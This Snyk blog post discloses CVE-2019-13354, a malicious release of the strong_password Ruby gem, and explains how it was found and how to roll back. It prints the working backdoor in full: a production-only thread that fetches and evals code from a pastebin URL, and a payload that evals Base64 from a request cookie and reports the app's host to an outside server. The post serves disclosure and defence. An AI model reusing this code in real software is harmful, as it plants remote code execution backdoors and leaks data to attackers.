Ruby gem strong_password found to contain remote code execution code in a malicious version, further strengthening worries of growth in supply-chain attacks

| By Liran Tal

On July 5th, 2019, the CVE-2019-13354 security advisory was published for a malicious version of the strong_password Ruby gem which allows for remote code execution in applications bundling the vulnerable dependency.

We have already added the vulnerability to our database, and if your Ruby project is being monitored by Snyk, you will have already been notified by our routine alerts. If not, we strongly recommend you to test your project to check if your application is affected by the malicious version.

There is currently no newer version of strong_password so we recommend you take an immediate action of rolling back to versions before the vulnerable 0.0.7 version.

In total, 537 downloads of the 0.0.7 malicious version, were reported by the Rubygems.org website.

About the vulnerability

This vulnerability was discovered by the owner of the blog withatwist.dev. As they reported in their blog, they had become aware of this incident through a manual review that they routinely follow when they upgrade their dependencies.

Through comparing changelogs of published versions and their source code, they realized that the 0.0.7 version was published on Rubygems.org six months after the last release and with no source code changes published to the GitHub repository.

When scanning through the commits for 0.0.7 version of strong_password the following code snippet caught their attention:


def _!;
  begin;
    yield;
  rescue Exception;
  end;
end

_!{
  Thread.new {
    loop {
      _!{
        sleep rand * 3333;
        eval(
          Net::HTTP.get(
            URI('https://pastebin.com/raw/xa456PFt')
          )
        )
      }
    }
  } if Rails.env[0] == "p"
}

To tell the whole story we need to also take a look at the pastebin.com payload that this malicious version makes use of:


_! {
unless defined?(Z1)
  Rack::Sendfile.prepend Module.new{define_method(:call){|e|
  _!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))}
  super(e)}}
  Z1 = "(:"
end
}

_! {
  Faraday.get("https://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })

Now that we have both snippets put together we can tell the whole story:

  1. The attacker was able to compromise the account of the original maintainer of strong_password in order to gain publish access rights.
  2. A malicious version 0.0.7 was published to Rubygems.org which include the first payload
  3. This malicious version only gets triggered when the application is detected to run in a production environment, and only after running for some time, a request is made to pastebin.com to fetch the further payload and evaluate it.
  4. The second payload from pastebin.com modifies the Sendfile method in order to get the value of an HTTP_COOKIE named ___id and evaluates it, therefore allowing any remote attacker to perform remote command execution.
  5. Finally, the malicious code also pings to a home server to provide the URL of the running application.

The blog owner reported the issue quickly to the maintainer, who then discovered they had lost access to unpublish or otherwise remediate the situation, and following that had alerted the Rubysec advisories community at https://rubysec.com/advisories/strong_password-CVE-2019-13354 to take further actions, which resulted in yanking the malicious version 0.0.7 and a CVE assignment for it.

Malicious code vulnerabilities and supply-chain attacks

This story follows the similar case of another Ruby gems package just three months ago.

With bootstrap-sass, an attacker was also able to compromise a maintainer account on Rubygems.org in order to publish a malicious version that introduces a remote code execution backdoor.

The Rubygems.org repository isn’t alone in supply-chain attacks. Just two weeks ago we shared the story of a malicious package found in npm that targets cryptocurrency wallets. Luckily, in both cases, the community and the security teams of npm and rubygems were able to respond fast enough.